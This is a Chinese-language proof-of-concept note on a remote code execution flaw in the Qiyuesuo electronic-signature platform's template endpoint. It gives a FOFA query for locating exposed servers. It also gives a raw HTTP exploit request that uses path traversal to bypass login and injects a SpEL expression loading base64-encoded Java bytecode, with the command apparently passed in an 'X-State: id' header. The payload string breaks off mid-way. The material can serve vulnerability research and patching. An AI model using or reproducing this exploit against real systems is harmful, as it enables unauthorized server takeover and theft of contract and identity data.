POC/wpoc/契约锁/契约锁template存在远程命令执行漏洞.md

# 契约锁template存在远程命令执行漏洞

# 一、漏洞简介
Qiyuesuo是一款数字化可信基础服务平台，为组织提供“数字身份、电子签章、印章管控以及数据存证服务”于一体的数字化可信基础解决方案。Qiyuesuo存在前台代码执行漏洞，攻击者可构造恶意请求绕过相关认证调用后台功能造成远程代码执行，控制服务器。

# 二、影响版本
+ 契约锁

# 三、资产测绘
+ fofa`app="契约锁-电子签署平台"`
+ 特征

![1717569204388-1722148f-4f83-4ad5-83a5-33896b546916.png](./img/hnHfwvjyibiVjOX0/1717569204388-1722148f-4f83-4ad5-83a5-33896b546916-245916.png)

# 四、漏洞复现
```http
POST /login/%2e%2e/template/html/add HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/json
X-State: id
Content-Length: 9839

{"file": "1", "title": "2", "params": [{"extensionParam": "{\"expression\":\"var a=new org.springframework.expression.spel.standard.SpelExpressionParser();var b='VCAob3JnLnNwcmluZ2ZyYW1ld29yay5jZ2xpYi5jb3JlLlJlZmxlY3RVdGlscykuZGVmaW5lQ2xhc3MoIlF5c1Rlc3QiLFQgKG9yZy5zcHJpbmdmcmFtZXdvcmsudXRpbC5CYXNlNjRVdGlscykuIGRlY29kZUZyb21TdHJpbmcoInl2NjZ2Z0FBQURJQktBb0FJUUNXQ0FDWENnQ1lBSmtLQUpnQW1nb0Ftd0NjQ0FDZENnQ2JBSjRIQUo4SUFLQUlBS0VJQUtJSUFLTUtBQjhBcEFvQXBRQ21DQUNuQ2dDWUFLZ0tBS1VBcVFjQWd3b0FtQUNxQ0FDckNnQXNBS3dLQUNFQXJRb0FId0NxQ0FDdUNnQWZBSzhLQUxBQXFnZ0FzUW9BTEFDeUNBQ3pDQUMwQndDMUNnQWZBTFlIQUxjS0FMZ0F1UWdBdWdjQXV3Z0F2QWdBdlFjQXZnb0FKd0MvQ2dBbkFNQUtBQ2NBd1FnQXdnY0F3d2dBeEFnQXhRa0F4Z0RIQ2dER0FNZ0lBTWtIQU1vSUFNc0lBTXdJQU0wS0FNNEF6d29BTEFEUUNBRFJDQURTQ0FEVENBRFVDQURWQndEV0NnRFhBTmdLQU5jQTJRb0EyZ0RiQ2dBOUFOd0lBTjBLQUQwQTNnb0FQUURmQndEZ0NnQkZBSllJQU9FS0FDd0E0Z29BUlFEakNBRGtDQURsQndEbUNnQk1BT2NJQU9nSEFPa0JBQVk4YVc1cGRENEJBQU1vS1ZZQkFBUkRiMlJsQVFBUFRHbHVaVTUxYldKbGNsUmhZbXhsQVFBU1RHOWpZV3hXWVhKcFlXSnNaVlJoWW14bEFRQUVkR2hwY3dFQUNVeFJlWE5VWlhOME93RUFDR1J2U1c1cVpXTjBBUUFVS0NsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBVjJZWEl5T0FFQUlreHFZWFpoTDJ4aGJtY3ZRMnhoYzNOT2IzUkdiM1Z1WkVWNFkyVndkR2x2YmpzQkFBVjJZWEl5TmdFQUdVeHFZWFpoTDJ4aGJtY3ZjbVZtYkdWamRDOUdhV1ZzWkRzQkFBVjJZWEl5TndFQUlVeHFZWFpoTDJ4aGJtY3ZUbTlUZFdOb1RXVjBhRzlrUlhoalpYQjBhVzl1T3dFQUJYWmhjak14QVFBRmRtRnlNeklCQUJKTWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzQkFBVjJZWEl6TXdFQUJYSmxjRzl1QVFBRGMzUnlBUUFTVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3QVFBRVkyMWtjd0VBRTF0TWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBbHlaWE4xYkhSVGRISUJBQVpsYm1OdlpHVUJBQVYyWVhJek1BRUFCWFpoY2pJNUFRQUJTUUVBQlhaaGNqSXhBUUFGZG1GeU1qSUJBQVYyWVhJeU13RUFCWFpoY2pJMEFRQUZkbUZ5TWpVQkFBVjJZWEkzT0FFQUZVeHFZWFpoTDNWMGFXd3ZRWEp5WVhsTWFYTjBPd0VBQlhaaGNqSXdBUUFGZG1GeU1Ua0JBQkpNYW1GMllTOXNZVzVuTDFSb2NtVmhaRHNCQUFWMllYSXhPQUVBQkhaaGNqZ0JBQVIyWVhJNUFRQVhUR3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2pzQkFBVjJZWEl4TUFFQUVVeHFZWFpoTDJ4aGJtY3ZRMnhoYzNNN0FRQUZkbUZ5TVRFQkFBVjJZWEl4TWdFQUJYWmhjakV6QVFBRmRtRnlNVFFCQUFWMllYSXhOUUVBQlhaaGNqRTJBUUFUVzB4cVlYWmhMMnhoYm1jdlZHaHlaV0ZrT3dFQUJYWmhjakUzQVFBQldnRUFGVXhxWVhaaEwyeGhibWN2UlhoalpYQjBhVzl1T3dFQUEyMXpad0VBRFZOMFlXTnJUV0Z3VkdGaWJHVUhBTU1IQU9vSEFPc0hBSjhIQUxVSEFPd0hBTGNIQUxzSEFMNEhBR2NIQU9ZQkFBcFRiM1Z5WTJWR2FXeGxBUUFNVVhselZHVnpkQzVxWVhaaERBQlFBRkVCQUFWemRHRnlkQWNBNmd3QTdRRHVEQUR2QVBBSEFPc01BUEVBOEFFQUhXOXlaeTVoY0dGamFHVXVZMjk1YjNSbExsSmxjWFZsYzNSSmJtWnZEQUR5QVBNQkFDQnFZWFpoTDJ4aGJtY3ZRMnhoYzNOT2IzUkdiM1Z1WkVWNFkyVndkR2x2YmdFQUVHcGhkbUV1YkdGdVp5NVVhSEpsWVdRQkFCVnFZWFpoTG14aGJtY3VWR2h5WldGa1IzSnZkWEFCQUNKdmNtY3VZWEJoWTJobExtTnZlVzkwWlM1U1pYRjFaWE4wUjNKdmRYQkpibVp2QVFBSGRHaHlaV0ZrY3d3QTlBRDFCd0RzREFEMkFQY0JBQVowWVhKblpYUU1BUGdBK1F3QStnRDdEQUQ4QUZnQkFBUm9kSFJ3REFEOUFQNE1BUDhCQUFFQUNVVnVaSEJ2YVc1MEpBd0JBUUVDQndFREFRQWFiM0puTG1Gd1lXTm9aUzUwYjIxallYUXVkWFJwYkM1dVpYUU1BUVFCQlFFQUJuUm9hWE1rTUFFQUNtZGxkRWhoYm1Sc1pYSUJBQTlxWVhaaEwyeGhibWN2UTJ4aGMzTU1BUVlCQndFQUVHcGhkbUV2YkdGdVp5OVBZbXBsWTNRSEFRZ01BUWtCQ2dFQUNXZGxkRWRzYjJKaGJBRUFIMnBoZG1FdmJHRnVaeTlPYjFOMVkyaE5aWFJvYjJSRmVHTmxjSFJwYjI0QkFBWm5iRzlpWVd3QkFBcHdjbTlqWlhOemIzSnpBUUFUYW1GMllTOTFkR2xzTDBGeWNtRjVUR2x6ZEF3QkN3RU1EQUVOQVE0TUFQb0JEd0VBRTJkbGRGZHZjbXRsY2xSb2NtVmhaRTVoYldVQkFCQnFZWFpoTDJ4aGJtY3ZVM1J5YVc1bkFRQURjbVZ4QVFBSFoyVjBUbTkwWlFjQkVBd0JFUUI4REFFU0FSTUJBQXRuWlhSU1pYTndiMjV6WlFFQUVsdE1hbUYyWVM5c1lXNW5MME5zWVhOek93RUFDV2RsZEVobFlXUmxjZ0VBQjFndFUzUmhkR1VCQUFkdmN5NXVZVzFsQndFVURBRVZBUllNQVJjQVdBRUFCbmRwYm1SdmR3RUFCMk50WkM1bGVHVUJBQUl2WXdFQUJ5OWlhVzR2YzJnQkFBSXRZd0VBRVdwaGRtRXZkWFJwYkM5VFkyRnVibVZ5QndFWURBRVpBUm9NQVJzQkhBY0JIUXdCSGdFZkRBQlFBU0FCQUFKY1FRd0JJUUVpREFFakFGZ0JBQlp6ZFc0dmJXbHpZeTlDUVZORk5qUkZibU52WkdWeUFRQUZWVlJHTFRnTUFTUUJKUXdBYVFFbUFRQUpZV1JrU0dWaFpHVnlBUUFIYzNWalkyVnpjd0VBRTJwaGRtRXZiR0Z1Wnk5RmVHTmxjSFJwYjI0TUFTY0FVUUVBQldWeWNtOXlBUUFIVVhselZHVnpkQUVBRUdwaGRtRXZiR0Z1Wnk5VWFISmxZV1FCQUJWcVlYWmhMMnhoYm1jdlEyeGhjM05NYjJGa1pYSUJBQmRxWVhaaEwyeGhibWN2Y21WbWJHVmpkQzlHYVdWc1pBRUFEV04xY25KbGJuUlVhSEpsWVdRQkFCUW9LVXhxWVhaaEwyeGhibWN2VkdoeVpXRmtPd0VBRldkbGRFTnZiblJsZUhSRGJHRnpjMHh2WVdSbGNnRUFHU2dwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc0JBQWxuWlhSUVlYSmxiblFCQUFsc2IyRmtRMnhoYzNNQkFDVW9UR3BoZG1Fd
```

![1717569277304-dc19df2a-f96e-430a-9212-e1516fb149ed.png](./img/hnHfwvjyibiVjOX0/1717569277304-dc19df2a-f96e-430a-9212-e1516fb149ed-540709.png)



> 更新: 2024-06-17 09:34:03  
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/oul2pitgap61ihk3>